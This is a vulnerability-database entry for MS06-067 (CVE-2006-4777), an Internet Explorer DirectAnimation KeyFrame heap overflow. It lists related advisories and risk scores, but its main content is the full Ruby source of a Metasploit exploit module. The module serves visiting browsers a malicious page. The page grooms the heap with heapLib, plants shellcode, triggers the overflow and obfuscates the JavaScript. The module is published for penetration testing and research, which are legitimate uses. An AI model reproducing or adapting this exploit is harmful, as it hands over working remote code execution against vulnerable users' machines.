MS06-067 Microsoft Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability

🗓️ 19 Oct 2008 21:03:39Reported by Alexander Sotirov <[email protected]>, skape <[email protected]>Type

MS06-067 Microsoft Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerabilit

Reporter	Title	Published	Views	Family All 14
Circl	CVE-2006-4777	16 Jul 201000:00	–	circl
Check Point Advisories	Update Protection against Microsoft Internet Explorer DirectAnimation Path (daxctle.ocx) Vulnerabilities (MS06-067)	11 Oct 200600:00	–	checkpoint_advisories
Check Point Advisories	Internet Explorer daxctle.ocx KeyFrame Method Memory Corruption (MS06-067; CVE-2006-4777)	18 Nov 200900:00	–	checkpoint_advisories
Check Point Advisories	Internet Explorer Heap Spray Shell Code Execution (MS06-055 MS06-067; CVE-2006-4446; CVE-2006-4777; CVE-2006-4868; CVE-2009-2991)	18 Oct 200600:00	–	checkpoint_advisories
CVE	CVE-2006-4777	14 Sep 200600:00	–	cve
Cvelist	CVE-2006-4777	14 Sep 200600:00	–	cvelist
Exploit DB	Microsoft Internet Explorer - Daxctle.OCX KeyFrame Method Heap Buffer Overflow (MS06-067) (Metasploit)	16 Jul 201000:00	–	exploitdb
Exploit DB	Microsoft Internet Explorer - COM Object Remote Heap Overflow	13 Sep 200600:00	–	exploitdb
NVD	CVE-2006-4777	14 Sep 200600:07	–	nvd
Packet Storm	Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability	26 Nov 200900:00	–	packetstorm

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML


  #
  # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
  #
  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #	:ua_name    => HttpClients::IE,
  #	:ua_minver  => "6.0",
  #	:javascript => true,
  #	:os_name => OperatingSystems::Match::WINDOWS,
  #	:classid    => 'DirectAnimation.PathControl',
  #	:method     => 'KeyFrame',
  #	:rank       => NormalRanking  # reliable memory corruption
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS06-067 Microsoft Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability',
      'Description'    => %q{
        This module exploits a heap overflow vulnerability in the KeyFrame method of the
        direct animation ActiveX control.  This is a port of the exploit implemented by
        Alexander Sotirov.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          # Did all the hard work
          'Alexander Sotirov <asotirov[at]determina.com>',
          # Integrated into msf
          'skape',
        ],
      'References'     =>
        [
          [ 'CVE', '2006-4777' ],
          [ 'OSVDB', '28842' ],
          [ 'BID', '20047' ],
          [ 'MSB', 'MS06-067' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          # Maximum payload size is limited by heaplib
          'Space'       => 870,
          'MinNops'     => 32,
          'Compat'      =>
            {
              'ConnectionType' => '-find',
            },
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000/XP/2003 Universal', { }],
        ],
      'DisclosureDate' => '2006-11-14',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)
    return if ((p = regenerate_payload(cli)) == nil)

    print_status("Sending #{self.name}")

    # This is taken directly from Alex's exploit -- all credit goes to him.
    trigger_js = heaplib(
      "var target = new ActiveXObject('DirectAnimation.PathControl');\n" +
      "var heap = new heapLib.ie();\n" +
      "var shellcode = unescape('#{Rex::Text.to_unescape(p.encoded)}');\n" +
      "var jmpecx = 0x4058b5;\n" +
      "var vtable = heap.vtable(shellcode, jmpecx);\n" +
      "var fakeObjPtr = heap.lookasideAddr(vtable);\n" +
      "var fakeObjChunk = heap.padding((0x200c-4)/2) + heap.addr(fakeObjPtr) + heap.padding(14/2);\n" +
      "heap.gc();\n" +
      "for (var i = 0; i < 100; i++)\n" +
      "  heap.alloc(vtable)\n" +
      "heap.lookaside(vtable);\n" +
      "for (var i = 0; i < 100; i++)\n" +
      "  heap.alloc(0x2010)\n" +
      "heap.freeList(fakeObjChunk, 2);\n" +
      "target.KeyFrame(0x40000801, new Array(1), new Array(1));\n" +
      "delete heap;\n")

    # Obfuscate it up a bit
    trigger_js = obfuscate_js(trigger_js,
      'Symbols' =>
        {
          'Variables' => [ 'target', 'heap', 'shellcode', 'jmpecx', 'fakeObjPtr', 'fakeObjChunk' ]
        })

    # Fire off the page to the client
    send_response(cli,
      "<html><script language='javascript'>#{trigger_js}</script></html>")

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

7.6High risk

Vulners AI Score7.6

CVSS 27.6

EPSS0.78755

remote exploit vulnerability